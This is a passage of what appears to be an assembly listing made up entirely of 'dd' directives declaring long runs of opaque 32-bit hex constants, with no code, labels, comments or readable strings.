7F9F7B3Bh, 87461423h dd 42465A94h, 0C3A1EEC1h, 0DB4E1E55h, 1CE39734h, 6B2E4264h dd 0F93AA2A7h, 7A07C635h, 0B5723307h, 0F2D02CC1h, 0A1D7A2DCh dd 0F8A0EE05h, 0CC72AAACh, 16036D7Fh, 3FA95E7h, 8D9BCF15h dd 83A47FA8h, 0EFB2CAA1h, 0F8A8F32Bh, 0C151A7D3h, 0D0E5EA89h dd 12F6EF77h, 0FAC92404h, 0E101E45Fh, 78ED0008h, 0BEA9C614h dd 0D53B4133h, 0E2EF83DAh, 9E282705h, 7A3D26F0h, 329EF4C4h dd 0EAD98FD0h, 59EA51F2h, 7C90B12h, 0BBE5113Dh, 5BFC2648h dd 50576E7Ch, 0ABF3593Dh, 2F70D426h, 0D8CCF9D6h, 0A8AF9FA6h dd 0EC1C8A23h, 9E30DDDBh, 0F0F7DB0Dh, 0A03F4F7Dh, 0F8874281h dd 1544BF8Ch, 3967DE25h, 6F91FA35h, 73AC7031h, 4AB7C3F7h dd 94D13F2Dh, 810C3951h, 3B667A74h, 507571E2h, 0FD37A5FBh dd 0B621E577h, 0C7D2730Eh, 0ECFF3E3Ah, 171E8EE3h, 0D1F7A5F9h dd 0B95CDE46h, 56EBCE77h, 93AB5230h, 0B5285489h, 0E8E04951h dd 0BF719F67h, 7BC89332h, 51DD65Dh, 771BED3Ah, 0BAE157F4h dd 0D57B5B15h, 797A99C9h, 8E1E0D03h, 0DC029C4Fh, 0D718A164h dd 98590703h, 0A7384AB1h, 9F91B1A9h, 572F477Dh, 38C73E6Eh dd 0A32B34D8h, 0E561D96Ch, 9666A4BFh, 0CFB345C7h, 0FF2A6C8Bh dd 0ADA042E3h, 0FEAB84DEh, 0FFC033D2h, 595C1B85h, 0DE401976h dd 9F21533Ah, 450FB415h, 6A024936h, 0AB95B93Ch, 9A880D73h dd 86C658E7h, 91A2B042h, 695E36E3h, 645CC76h, 3779C7B3h dd 0B52E3E49h, 0E853CE04h, 800E962Eh, 0A851F366h, 121C2E1Dh dd 0A9E6D105h, 8441260Ah, 2B1C4FB4h, 55C60481h, 0AB429B82h dd 8C0AF652h, 3E8047C4h, 0C90EB9E7h, 3611DEB2h, 638AEE9Dh dd 316125Dh, 0F9B1CBF3h, 0B1230C40h, 0B2A85BF6h, 6432658Ch dd 83556548h, 119D4514h, 2ECB7472h, 7ED6E3DBh, 0A22CB89h dd 81037319h, 5E7793F9h, 6BC859A8h, 0BD783158h, 0EB8CD948h dd 10CEB64Dh, 0E492BFF6h, 4FB53800h, 0C81E2CDCh, 599C3160h dd 0B2B096D7h, 0BC40A5CFh, 23453ADEh, 5D168433h, 0ED69BE35h dd 309F409Ah, 0D1AE6CA4h, 95953192h, 1102D5DAh, 21384F1Bh dd 86256F06h, 1FC8CDC0h, 0DA03391Eh, 0ACF89C85h, 440FA2F4h dd 8F378F00h, 0D737ACAEh, 6D117322h, 51F34758h, 0D0FD3BD8h dd 0C7632115h, 899F2055h, 0F05BF1A3h, 1024BBE4h, 2EB1213Ch dd 8BA99370h, 0C0696123h, 0B9F2EADAh, 0B3F02B1Eh, 53CBF788h dd 1C5C59D7h, 218E4E15h, 0D9102304h, 0EA649296h, 0C0F0344Dh dd 933A8430h, 2B38A15Fh, 9918B2CBh, 0F95ED7A6h, 14FBFF4Ah dd 0BB5A56E0h, 0C0BCB6E3h, 437D4347h, 0FD669B2Ch, 4DE4159h dd 9725CFC7h, 8B0CD4DAh, 4F06E865h, 88419ED3h, 0F8E8292Ah dd 0E364C3D5h, 217124CBh, 4F00E17Bh, 438BEDCDh, 8B34A1F8h dd 0DBB0BC09h, 0AA8D9119h, 0D4134078h, 0CFC22F9Dh, 0EF408FD0h dd 19547405h, 42806F09h, 0F309BF86h, 0ABB9EBCEh, 0EDB4876Eh dd 5694AE69h, 6F89E5DDh, 0F32C0295h, 0E5F7A6A9h, 6E060274h dd 0ADDBA307h, 10130E20h, 243CD624h, 744D0C0Eh, 0EC9AAA5Ah dd 0D7AC333Eh, 0BC40EFF1h, 9FEC88ABh, 0CEEF8B98h, 0DA207317h dd 0E3BE1A24h, 0D33389h, 0E3397C6Ch, 2673CBDh, 2FA08844h dd 0AC759D7Dh, 33087C06h, 5E518C26h, 1EFE33E8h, 58695521h dd 91137158h, 5BBC8135h, 5742E48h, 0F21D02E6h, 0FEDEEBF0h dd 893306h, 58CC98E4h, 0F7D2002Ah, 7EBFEE3Bh, 0C07615D6h dd 95DE44FCh, 73FDF7Fh dd 0E82304CCh, 4249EBE4h, 320BDEA2h, 819AB9BFh, 0AB1189C6h dd 0B8A682E5h, 4FCCD5DBh, 97EB275Dh, 92C52EE5h, 0ABEBE4CAh dd 873481D4h, 23354908h, 0BE7106F2h, 0E857E901h, 0B1AC29FCh dd 0F07AC0C0h, 7241C92Eh, 0BEBD7E4Eh, 1564622Ah, 0AE322BA4h dd 4F8F1FF1h, 7EA0BCA8h, 1BA974h, 0CD546D92h, 0B8EBE7C6h dd 0B39CC1DFh, 543A76D0h, 0D5B76668h, 2E632D19h, 75547DC0h dd 69F7D7CFh, 0BA0F8C23h, 0F362D96h, 98BB9328h, 0EED0F8E9h dd 559B7A5Dh, 0BCB809A0h, 9A2A7BC4h, 5AF3E132h, 0FCE053h dd 0BD30FCC3h, 0CEAE268Eh, 3BBDF631h, 9FC2309Eh, 0D7DD2457h dd 5008C4D2h, 365528A4h, 0A8D971Ch, 0D98683C5h, 46346C97h dd 0B85740C5h, 0C1CA7FBEh, 6BBB4Ah, 7B9D2DC5h, 0D8C9A021h dd 21C42AA6h, 3D0274E7h, 0EF1D4DF3h, 4EFCABE7h, 0EAA4A9D5h dd 5E2D9AD0h, 8670E67Dh, 70499B14h, 0BC7E4CC4h, 0AC3FB4B5h dd 94681DA1h, 61E73DC1h, 22F3028Dh, 0A4C4FC61h, 217DDA71h dd 0A9BDAA1Ch, 74DE56EFh, 1DD0A0C6h, 97C56185h, 0EB0978EAh dd 1185707Eh, 170EFE0h, 0E63273BEh, 6E84329Ah, 0F1BA227Ch dd 5EAE57E1h, 0DC16A43Ah, 2AA41A3Ah, 16BF1B4Eh, 5D87DDA1h dd 750052D1h, 9BD90DD2h, 15CDB847h, 812E9B25h, 0BB00746h dd 5C7CA6FEh, 0E1080B09h, 0C29B5D11h, 0EED065FCh, 15637D3Fh dd 0C5ED7321h, 0B9D7833Ah, 7F57C5F4h, 4ED63421h, 0EF7F8F31h dd 0E591D4BDh, 0D4E77809h, 5F8C76E0h, 88E961B8h, 0DDFA10Ah dd 1BD14F5Eh, 0C3AE8FB2h, 6006FAA3h, 42AA68E8h, 3D445ABAh dd 0CAAB7AD0h, 0BA14AF4Fh, 0C23FE894h, 0F9C35F6h, 2CCF7E09h dd 0B97283BAh, 0D776D1CDh, 0F489C56Bh, 5B4AA643h, 72AB1B33h dd 657B4737h, 443E5FAh, 772FD75Ch, 3FE90AEh, 0C8AE763Bh dd 977B7792h, 0FA9561A4h, 0C199C98Bh, 0C89E2868h, 6B22C1DAh dd 4D8F3245h, 0FDB5366Dh, 58E862AEh, 55207424h, 7C6D954Eh dd 4D1E972Eh, 2BA61ADFh, 4981F130h, 1FBF7B9Eh, 3C3736B5h dd 65E10B3Fh, 56682DE6h, 0E0BA5A05h, 8E24252Dh, 0F351A57Dh dd 737246F9h, 0E4AD3184h, 0A3242156h, 0A5CE843Ch, 0AA64ECABh dd 6BFB970Dh, 0AD6DA7F4h, 40549908h, 0E0FB17EEh, 9B169756h dd 6E9D1ABh, 0D819563Dh, 13AFE6ECh, 2200F643h, 52A4AC23h dd 573EB0C3h, 0FB3C342Eh, 369F252Ch, 8208F529h, 33866F43h dd 8D20B50Bh, 0FD9AB327h, 1E7B4944h, 69CDC21Ch, 8CFF7C23h dd 8C0C3E10h, 5C7937F3h, 481A80E1h, 42A334BCh, 340FF06Fh dd 5DF55514h, 4852CD1h, 4F23CD70h, 688F2AACh, 0E1626B35h dd 8DDA3369h, 0B8846590h, 0F0F0FD04h, 5E444471h, 909D6A57h dd 0B46E4345h, 1A2F2AFDh, 0A87B9Ah, 874946A0h, 7F1A65E8h dd 3B889D9Bh, 0F887FAC7h, 56FC3DDh, 5A39AEC0h, 77F99C4Eh dd 2EAB5379h, 0ECB389CDh, 8683941Fh, 954421D4h, 0D276A3C2h dd 11452550h, 92202BF9h, 0CF6D74DCh, 45EE8911h, 30777862h dd 50FA34D7h, 60475C46h, 66A37CE0h, 2682511Ch, 6EB69046h dd 0B3CF1912h, 0BDCB1C96h, 0C417EC17h, 0D8718164h, 0A9C5D167h dd 0B953E828h, 640D0412h, 5D15EC82h, 9C936DE2h, 0D1D97557h dd 6AF72C75h, 9722CB9Ah, 0F761E258h, 616D3012h, 0EBB7E3D3h dd 2B8F31D3h, 6C15E0C3h, 2DCCEB87h, 8298BF15h, 79704E13h dd 45B10A5Dh, 0CC016762h, 822C65CBh, 7DBB001Bh, 4F3AC578h dd 2D029184h, 0B1106EDDh, 3D77CAB4h, 7541B707h, 4C3CC6E7h dd 7C53310Dh, 5A579AF9h, 9810A6D3h, 0F86B2A8Ah, 0A7F55D3Bh dd 574840D0h, 913193ADh, 0FF8269AAh, 0F32E48A7h, 0AE383ADBh dd 94A57EA2h, 8B04CA3Ah, 0AC3E71ADh, 0EEA259E9h, 49413B1Eh dd 75B56D66h, 0B814CE00h, 272A6530h, 7E991D08h, 1CEE04E1h dd 0A069AEB8h, 81017F35h, 4E22B31h, 0F2CAEAA2h, 24AB06E4h dd 0F21A405h, 6F711154h, 45ADD5C3h, 2A5C54Bh, 0F514596h dd 0E0C811A9h, 127A80A7h, 1DAA3743h, 0DCCC261Eh, 52DC5C27h dd 0B6F18AFFh, 0CE203AD4h, 56E8DCB4h, 932E5E51h, 0F13B6Ah dd 0D28E038Bh, 0BCD01795h, 495480B6h, 0DFB586AFh, 6CB2705Eh dd 0BD38B5F0h, 0F4738B1h, 0EEB77B0Eh, 0A8954874h, 84FDCCB7h dd 0B3087403h, 5ABE3D57h, 5E9BECD0h, 0C3D8BA82h, 0B171EEF3h dd 3FCC8CCEh, 18C31F37h, 0EE8E3157h, 0E0897726h, 0FA22D487h dd 9EA23324h, 80AE7B67h, 2F1E85A2h, 5D1C3BE9h, 9B6C6330h dd 57B0440Eh, 0AE2F08B9h, 0A5820905h, 6FFFCD0h, 4EC19683h dd 0CD7F0526h, 0CE00227Ch, 9874197h, 0D12586BAh, 9968EB07h dd 48156C0h, 64950807h, 9DA0EF42h, 0F881E7E5h, 6DF8C3AAh dd 12E3A12Bh, 847F1581h, 9AAF71B2h, 49715749h, 0FE4CE43Dh dd 0D8F903B6h, 0D201917Ch, 9168DAF6h, 76A498B6h, 0EC7AD336h dd 9C175893h, 7DA5B5C6h, 81FFE53Dh, 0C7D28B62h, 0F7C2BCD4h dd 2B5220A0h, 2648FAD8h, 1FE6ECD7h, 1135961h, 0DD8BC61Eh dd 0C315EDFBh, 4EF4CD23h, 0F2F16150h, 0BE40A9B8h, 32A33876h dd 98755144h, 5C1CA5FEh, 7491F7C7h, 80566500h, 0A7C2A53Ch dd 0A099AF3Bh, 9C2C0060h, 0DD9A6F38h, 78F1A270h, 3E84FCC2h dd 0E0A69BCBh, 7FCFFF99h, 29882664h, 921CF71h, 83CA63Ah dd 0F5219746h, 8573D931h, 9B9AE24Ch, 0C28DA965h, 434C3228h dd 0C722927Fh, 4B667621h, 0AF9E632Fh, 0AFC932C7h, 3926DB52h dd 3F534C74h, 7CFD5587h, 446E864Fh, 75289708h, 0C607E089h dd 0F60B4272h, 0E4A69B03h, 3289B38h, 0BF1D2AF1h, 0FB1AF780h dd 16083D9h, 0C2F177B7h, 45C43CF8h, 7A8253D9h, 0DD1169B5h dd 2A1B973Ah, 63149D54h, 65C7C502h, 0A5D11A35h, 0AD17BBCAh dd 6782A075h, 6D08F621h, 0BBE01622h, 3B2CB3F7h, 762806A6h dd 0A58421C8h, 0DA03E952h, 3029294Dh, 0FC121C98h, 0C8F177BCh dd 3DCA8E58h, 0C30F0646h, 0E0864E18h, 609D675Ah, 5067B1F2h dd 0E3A5A819h, 9953017Dh, 4F3A09D5h, 27A906D1h, 85923DB9h dd 4D628E35h, 1C65B794h, 0F1CF53F7h, 81A094A1h, 319D2424h dd 7173ECh, 86ACCC4Ch, 4D5F045h, 0DDAC4B39h, 49E21018h dd 5ED489FFh, 0CE86BF5Bh, 0AC960B45h, 296371E6h, 0EE7A4250h dd 98B55100h, 2436C1F2h, 5760B84Ah, 9369EDE4h, 0D01476F8h dd 1A3CD62Eh, 0B17ADAABh, 1A2CD017h, 11CF0C22h, 0FD6844Bh dd 0CDF64033h, 818B7D91h, 0B7AACE15h, 0B41E2ADh, 0AF1E859Eh dd 9C578DDAh, 57B980B7h, 133763DBh, 0CB665A76h, 2F20867Eh dd 0C99651A0h, 1E3580BCh, 0D8A8139Ah, 5054E93Fh, 3B94518h dd 0EBB6D69Ch, 8C40A2A5h, 92880911h, 810601E8h, 674C42D9h dd 41657B1Eh, 9F1E52A6h, 4CF507A5h, 1A21B735h, 466E8171h dd 0CC5B766h, 2E8AC7D8h, 71E006DAh, 5EFC93B8h, 0B44D658Bh dd 70C99C09h, 7B969C65h, 0C1D8F082h, 0E8206E7Ch, 0F6F35D94h dd 3852175Fh, 1AB88BF6h, 7AD5DB01h, 9F9463A7h, 12E163DAh dd 5FC18C5Dh, 0F1185E2h, 520AB265h, 373EA1F7h, 0B5C0C77Eh dd 2625A207h, 4D210EB7h, 18F4D036h, 0BAEA49F4h, 81640792h dd 1694707Dh, 6FF76FD5h, 83D0EFB6h, 0D867F94h, 50C59D36h dd 8269309Eh, 0E7D1CC5Ch, 96442F56h, 0F61EAD55h, 81C77219h dd 4ADC637Ch, 63786580h, 0DF740461h, 9743A5Bh, 43AE9466h dd 0AF6293D2h, 734DFEBBh, 0C6DD98B0h, 0F8E09382h, 379BB851h dd 0AE388975h, 1D6EC64Ah, 0F6C8DFE1h, 36C26BC4h, 0CB237F97h dd 828CF070h, 6D174108h dd 0A22E9820h, 58EB25E9h, 0FEEB3746h, 6CA20662h, 4FAF0345h dd 0EBABAE38h, 0A5CBFDECh, 530381C9h, 580B5796h, 6648F79h dd 40E21A13h, 1194C518h, 90F5B781h, 57C2879Ch, 1EF9FB68h dd 0A15CE227h, 39CDF15h, 0CBB7B741h, 0CF2A6096h, 0DC076946h dd 0D1C0BA6Dh, 277A25B0h, 0C77CB595h, 0B4E519F3h, 608F21E1h dd 74CA4A9Ah, 0D087347Ah, 9310C72h, 0FC40BC0Eh, 7AC4A251h dd 62027158h, 34A1D93Ch, 0EF7FDFDDh, 0DC3A537Bh, 437CBD8Fh dd 52BD62D7h, 7D403A4Ah, 6EB7DABBh, 0DC951EA8h, 20C8BA2Eh dd 8793DFEEh, 0F0F828Bh, 9E7BE49Bh, 0FF8FCA59h, 7FC5B0F1h dd 15EA0DD4h, 0B7B57326h, 49E499FDh, 3947A296h, 757C4121h dd 54E54B09h, 2805E1ACh, 0F257EEAFh, 297610A4h, 0EEDFDF76h dd 417315F8h, 0EF9C9724h, 0C6B2A2C4h, 9382B23h, 575A533h dd 64A679D6h, 7A37D783h, 9E45AD37h, 0CE6A7ABEh, 0D87002CFh dd 7994775h, 8B15943Eh, 0EF631052h, 0DC2F3601h, 0F6C8C1DAh dd 66DB0088h, 0E0269993h, 56E63794h, 70B2DC37h, 0D026782Dh dd 6C0BA78Bh, 0E1DAC11Eh, 797AEE5Ah, 0DEBD528h, 578D61ECh dd 9FC4EC92h, 0B01F8BA7h, 62048ECFh, 7B0F6906h, 18991A06h dd 0EF7B7096h, 0CB014292h, 9CC9E3E6h, 0DAD5DA2Eh, 0CA4BAE91h dd 0AB13DE8Ah, 3F04CBE2h, 16A41128h, 304C58B2h, 6F3C50CBh dd 9E292B60h, 9436FB15h, 5AAE2D6Fh, 0B94B5B3Ch, 743B16A4h dd 13940B57h, 0DD3E010h, 0C7411881h, 0F2CAFD98h, 0F03FC239h dd 0E4245485h, 0BD3F3C2Eh, 146465DDh, 0F5CA86E5h, 4573D35Bh dd 6D9E6395h, 2744D989h, 7DDF33CCh, 0DEAB0760h, 2D44014Eh dd 2287BA8Dh, 9EADF2FAh, 6D09F216h, 0BD963658h, 0DB493D19h dd 0CEAFFFFAh, 0C608F826h, 1BA70EADh, 0CC80F80Dh, 0DDD2C198h dd 0E9C34BCCh, 71E32E1Ch, 484A6804h, 414D3160h, 72E71FA2h dd 0ABF821Bh, 91A0A5FDh, 0CA61ADC4h, 4E0F6917h, 0A5408D84h dd 5BD0C823h, 0D3AADE83h, 22A75B50h, 962D7DE9h, 6DBFCC2h dd 6412931Dh, 3A0E90C9h, 2AFD6D9Ch, 0A454D8BBh, 14352FFEh dd 8CFE27F6h, 0C86DEADDh, 91A40BE7h, 0E3EDDFCFh, 0D477B146h dd 0E0DF942Dh, 0E6F508FBh, 0DA237A21h, 9731FEBDh, 85DDB223h dd 8514B32Fh, 0DC5E35AEh, 0BF9388F7h, 2098D701h, 0AF76051Bh dd 3988C6F5h, 0ED21AB66h, 0D16CCBECh, 6E0B4C70h, 6DA08F81h dd 0B3F4FCEDh, 35CDCB6Eh, 83617AEEh, 0C652DFF6h, 0D1106960h dd 0E7317A32h, 8499FFF3h, 0D188D258h, 7A4F3644h, 0BABD1C86h dd 41A5C4B0h, 0EA2ECEABh, 0D5B8D5B9h, 611F8C5Eh, 1576ACA8h dd 0BAD62897h, 2EE43A3Ah, 172C96DFh, 71D34CE6h, 0E7DEA56h dd 93A8A226h, 2848AD99h, 199C767Ch, 0CC9F4EBCh, 86569BB8h dd 0AB997FB7h, 0F63A59F4h, 0CA2903ADh, 33E8997Ch, 39D97F9Ah dd 7C096372h, 338F0F10h, 4D97CB54h, 47D540F9h, 777A9120h dd 1BE19D38h, 2A03C9FAh, 0FB80AFD9h, 0FF335303h, 29297084h dd 1B690129h, 6D5A3922h, 4A520537h, 0DF5E57E8h, 0A22133A2h dd 443EAA2Eh, 4BF734C4h, 92B0F1F0h, 0AB5ACD27h, 364EC0B4h dd 0C8D19B4Dh, 66B52F44h, 0B205E095h, 6C65Eh, 4C385AF7h dd 0A9CCE8C7h, 0C420F37Ah, 0B6768F46h, 0BCE434F4h, 0DFE772C8h dd 14AFFE76h, 7392ABC6h, 0F5A7AFB9h, 2AA9290Eh, 28C7E13Bh dd 58B57627h, 7915C604h, 8B3F74Ch, 731A915Dh, 4E9D8534h dd 0B84F4063h, 0E12D6163h, 73A975DBh, 0ABA0D344h, 46AC069Bh dd 860F374Eh, 0F0208BC4h, 3D32F83Dh, 4C42537Fh, 0DEB149B2h dd 0ABC1BAD2h, 0D5869F2Ah, 2C95B509h, 64CC2BBAh, 78199FB9h dd 0BE735818h, 61C580AAh, 1704CE93h, 0FC92C6Eh, 7C8EF31Dh dd 0A60E52E9h, 0B282868Fh, 0D0CF2833h, 0EE5CF3D7h, 0EB9FDA1Ah dd 1106EBAh, 0F6784E0Fh, 32E15499h, 0AD50B74Fh, 0B0573E18h dd 0CB8255ACh, 0FB45EDD3h, 0F63883A2h, 0DC081123h, 736491E0h dd 774E8FDCh, 2F86ECC4h, 4024EB48h, 5E8E4C8Ch, 0E993450Eh dd 4795CB05h, 305B2749h, 779DDC4h, 0EAE0E457h, 5B3950D2h dd 0E2D69A32h, 26FC2A30h, 99463B47h, 0C1B073A5h, 97A406F6h dd 7B37A46Dh, 716274Fh, 3183E745h, 4FD7B259h, 0A19816D0h dd 0B6F48C33h, 1C6C634Dh, 0AF50F7ABh, 83C768CFh, 1C6AAE20h dd 0DB19130Bh, 0D137CBF9h, 0FEB78990h, 0E6D0035h, 13A8C29Ah dd 56808E0Bh, 0F7417A42h, 950D5741h, 11650972h, 0DB1593Fh dd 468F606Eh, 0EFDE8774h, 0C7CB9FFEh, 911CC85Fh, 0E91CB0BAh dd 12D9F825h, 85CA0480h, 0A30720E5h, 2C6ACF2Dh, 63F5176h dd 9B8734CEh, 59AEAB7Ah, 2B6BA66Fh, 0FFC000F1h, 615700BEh dd 0F9774D58h, 0E7F6AF2Dh, 0A5010628h, 0CF7A19E6h, 0B77F95C0h dd 8D998C8Dh, 4C1EC723h, 953957E1h, 47394717h, 0F976C97Dh dd 0D18D3ABh, 0AE1679D2h, 9A7424A2h, 0A98F0D56h, 0B20926D3h dd 1149F7AFh, 90C4A56Bh, 14F98668h, 73336D6Fh, 4E205AD9h dd 6D6A9196h, 0E5D8B24Ah, 0DAB689C0h, 2EA83F91h, 0A1237C58h dd 0F5FD1522h, 303076A0h, 0A980203Eh, 4ECB764Ch, 0E4B3B77h dd 0ABCD9526h, 88FF5F8Ch, 344A7139h, 0FEC65E1Eh, 0A14D9C82h dd 0B177EBF3h, 0C4DD0D1Ch, 0A45B34EBh, 0E8722B41h, 0EB62D126h dd 5B66F455h, 0DF755A4Bh, 0DA7732D1h, 8FC06E0Dh, 0D91F76B0h dd 0F5A4D149h, 7CEA7004h, 0A501AB24h, 914915FFh, 0A0DF9C2Ah dd 426FBB0Dh, 8F1DF702h, 0AF287B2Dh, 2A2964B7h, 2E55C38Bh dd 97F82457h, 0E599BBB6h, 0E47F283Ch, 10039273h, 185C309Ah dd 0B823F6AAh, 483F9E0Bh, 0F4384BD8h, 7F5B6237h, 0EAB4983Ch dd 0C8228DB4h, 6BA81BB5h, 4FAC7AC7h, 4B94A52Eh, 25644DBEh dd 0F61657FFh, 7959CC4Dh, 684EAAE3h, 7BFD250h, 3055F1D0h dd 0F2F4FE56h, 424EF095h, 0B69B14F5h, 55136CE3h, 9832A143h dd 0AEC55A6Bh, 0C40CB006h, 66F1F6C8h, 5F53A5F3h, 71BE5B15h dd 0EB40D08Fh, 14AD0D1Dh, 0D41D68F6h, 7DACA74Ch, 0BFB2C293h dd 0A6063164h, 77578AA0h, 96AB960Dh, 28D296E6h, 244744DFh dd 0CEFB0A55h, 0D8226E97h, 159E330Eh, 2745DC85h, 0D4AB3EECh dd 0A5A9CF42h, 924555EAh, 4AAF7677h, 0F1DFEA48h, 68AB4D9h dd 6A835E48h, 0A106211h, 5B489BC6h, 0E1600507h, 0A4AA17CBh dd 474982AEh, 0FB836DAAh, 165853B1h, 547EA15Fh, 4232F4E3h dd 3E47D6D4h, 4568274Eh, 5C72B6A0h, 0E489C3C9h, 8BA25007h dd 0B88E9A57h, 6B23C4B7h, 0EE715866h, 0B8264BB3h, 2ED21A6Eh dd 89EBB564h, 9CCE7BD4h, 688C4CA4h, 463D82Dh, 5B81C9Ch dd 1871825Ch, 57CF3402h, 4D9F20FAh, 9CBDBB45h, 0AF60C7E3h dd 0F5997DBEh, 628AAA42h, 0C6483414h, 7DF0D854h, 5910D674h dd 0A039EF7h, 5C90064Bh, 87280531h, 8E21440h, 0DEC9B330h dd 59C99192h, 0AB1EE6BAh, 0C6C2Fh, 1AE17357h, 0D57F1052h dd 11FA65F3h, 0BA28FBB8h, 45CFA39Bh, 3E681CDAh, 0DE8D725Ch dd 0E30CE46Fh, 0AF52CD5h, 0A03E0271h, 809E69F3h, 20EEC41Ch dd 1F9CFD39h, 0ECA52E1Dh, 9E0D52B9h, 0BBA1FA60h, 7E681DA1h dd 87B1D49Fh, 2F318D5h, 854C0765h, 890CC453h, 5BC80A65h dd 4BE0798Eh, 0A7AF978Dh, 74B5E9Eh, 35AC4890h, 0B9F6974Fh dd 9875C5Ah, 244525A4h, 40C55DB6h, 0E302AF3Bh, 0DBDDE3CAh dd 198401A4h, 1626118Fh, 0A02DC6D6h, 92CDA68Dh, 0B7C78D0Eh dd 0A7B1D7ADh, 0EE8683E0h, 0F6AC57DDh, 2AA28416h, 0C5C65B59h dd 0FFC58768h, 8D104DFh dd 0C56777BEh, 67616355h, 9EA5AA44h, 79AF7C3Bh, 0AA6A896Ah dd 2CBBB772h, 4CA08365h, 9BE33AF5h, 586EC3Dh, 0A9DE4F37h dd 70BD22FEh, 0D45C38ABh, 0DD2510E8h, 44FFEC9Ah, 0D0CC1554h dd 0C1FD29FBh, 0C800918Dh, 6875B660h, 0E1DDCBB7h, 0C1B78E4h dd 0D1E5ECA5h, 1F83F393h, 201101E6h, 14FA4E5Fh, 31307E07h dd 89312E4Fh, 5CE2BBC3h, 6E24614Ah, 8B041BEFh, 0EFD938AAh dd 0E4B9A6AFh, 0EB880EAFh, 0AE245D0Bh, 4AE89713h, 0D1BBE046h dd 0B529D4Eh, 90228B60h, 994BE190h, 2A3E37BCh, 6E4C4512h dd 2A64DE72h, 0DDE6086Ch, 7BF3F808h, 0A06CE78Dh, 147559F9h dd 8AD08BACh, 0D5AC37C7h, 7ECC2219h, 0B2EB5D1Ch, 0F2F72863h dd 6230A630h, 69173D50h, 55C88B5Dh, 0AA81F7FAh, 0A823837Bh dd 0E278DCACh, 0D3D3BF8Bh, 0B6A5F6C8h, 9CBBCA90h, 90F836A9h dd 0F1162AFCh, 1491A4ABh, 9E908A8Dh, 218A6181h, 3C269BB1h dd 0A02CB6BAh, 0F8DE37A5h, 0C6AA932h, 3D022EB7h, 0ACEE3CFh dd 5F17C78h, 997013BEh, 29FEB5C4h, 0CFF24277h, 4DCBCA63h dd 2EEAEC12h, 0A5AF82B6h, 9BC56320h, 2BA538EEh, 3D932ABEh dd 0B066DBEFh, 4EDF0083h, 9DE37372h, 0A8E4C2D0h, 0D2B0A2B7h dd 3E1594BCh, 0A7039F68h, 37E15794h, 303232F4h, 0E7E7D66Fh dd 1D93F8B8h, 7BF9BF9Ch, 1CFB944Ah, 0DF5CD2F9h, 6D807717h dd 1A9B4798h, 51436234h, 0B15C7CFBh, 2451B85h, 0FDC4CB6Ah dd 3AC6BC6h, 90776F7Ch, 3B698507h, 45AAEBE0h, 0DB9344E1h dd 55099DEBh, 44BEDEA9h, 0E04558D8h, 2165BAEh, 11F6EE01h dd 8D60FC1Eh, 9535C39Eh, 947ABDFh, 985C1FA4h, 0A3217CABh dd 9770923h, 0DE9EC367h, 0B0B138B6h, 0AEA02480h, 0E88E9FBBh dd 0C91853F1h, 0A1A51A75h, 195164ACh, 0A2733048h, 77764AC0h dd 1D256139h, 0E95D8Dh, 0C3F895CFh, 1BE68EF2h, 7A472C16h dd 3D8DF501h, 15E7589Fh, 0A11116C4h, 71D28CFFh, 0F2934FDFh dd 37F78A63h, 51752B50h, 294B3AEFh, 28EDB3D7h, 0C63C26B7h dd 0DDCB554Eh, 187C4C5Ch, 7129604h, 0FA4BB695h, 984C6226h dd 6A291DFDh, 0A2FA3294h, 3FC3D74Bh, 39A0464h, 353772Ch dd 0E93BDA10h, 260F115Dh, 71829F6Eh, 0FD7E2853h, 0F9251F69h dd 8EC15AAAh, 0AAFAA11Ch, 6DB54C4h, 36063964h, 59E7D91Eh dd 58B00651h, 0FC57EAF6h, 0FBB59A46h, 44DBEBFFh, 56AC8B4Dh dd 23B1A2EDh, 3D7D5CBDh, 0E7792B94h, 8AB0C8E9h, 0DF443E98h dd 7D20CD2Ah, 56055B4Ch, 681B6D37h, 22879B44h, 51A891C4h dd 0A70EB994h, 0B427B630h, 2EDC3808h, 87C1FF91h, 64279C2Ah dd 0D44D762Fh, 94CE3BC0h, 17D000F1h, 375CD6EFh, 424D449Ch dd 0EE7E27F6h, 9B0EFE58h, 647FFB6h, 63197945h, 3E512C3Ch dd 287216A8h, 4EB877E6h, 0FE842B91h, 3147AE9Ah, 0B6B5FD4Eh dd 6D583487h, 0ACC67869h, 73CE15CEh, 0DB041D1h, 2D129451h dd 2FB47794h, 0CB062E54h, 32A674D0h, 0B49CC33Eh, 1E1871AEh dd 10D012ABh, 92D3994Fh, 38EB2825h, 7F06FFCCh, 13331576h dd 2D9845B9h, 4FB59256h, 0A442EECEh, 35EFF98Bh, 48758BBCh dd 5EA167D4h, 53624186h, 6E095BE5h, 7E16E395h, 12D14883h dd 0E4393FF2h, 550C1C23h, 0F376F584h, 1011E98Ch, 7A3B51BAh dd 0DB301160h, 68F16AA6h, 0ED6CE9DFh, 66E36D4Fh, 3CCDEB3Bh dd 0D4DEC4EEh, 85D08728h, 0A5D7B6C7h, 5C3B7B67h, 0F42BCA81h dd 4777654Bh, 0F16270A2h, 255819A2h, 7F536956h, 0D104A14Dh dd 52D77A5Fh, 0A1296178h, 0CAE0FB5Ch, 5470D354h, 0CF2B1688h dd 0BE33A9B2h, 498CDF71h, 2C099A76h, 8898A321h, 0DA0B41BBh dd 70BA7CD6h, 30404B3Dh, 9A5FDDDFh, 83B2BFA7h, 4E1B6FA5h dd 581A3E01h, 70337BDCh, 7E9A32DDh, 8064D548h, 5AA7F989h dd 0D0B8122Bh, 289B9377h, 0C97CBA61h, 1F926D3Dh, 1F169487h dd 2DA230Ch, 2E8F2768h, 3A6DD114h, 23870CD8h, 9E9B7417h dd 0F2CFF316h, 17B19E25h, 640C9455h, 0D564EBB5h, 766388A1h dd 0E89AB43Fh, 0DC711C20h, 0E9F7BF79h, 39E710FBh, 0F914720Ah dd 0E9EE51B4h, 88DC16FDh, 8170CC06h, 0DC712601h, 81DB7FEBh dd 841E2700h, 219A94BDh, 0DC725370h, 20104380h, 1EC9A567h dd 0D13BBB9Bh, 0A82BFAEDh, 0F3942949h, 6EA8556Dh, 289D99EAh dd 0A69D9D59h, 6407B111h, 0E0B63A1Dh, 84C0BDFEh, 2DC2C711h dd 31DE4246h, 5AEC1B51h, 46F5624Eh, 0AC34B0C8h, 69947Eh dd 0C03BEB08h, 0CC9942E8h, 0E98DD545h, 526E60D1h, 0B1A0BBDFh dd 0CBEF7BE0h, 7062E3D1h, 8B8255D2h, 11A8DE7Ch, 99041146h dd 0E792C081h, 7589EF66h, 0ED0683AFh, 0D100BB07h, 0F96B41B2h dd 0D1A2A21Eh, 5A2FA6D8h, 3C059004h, 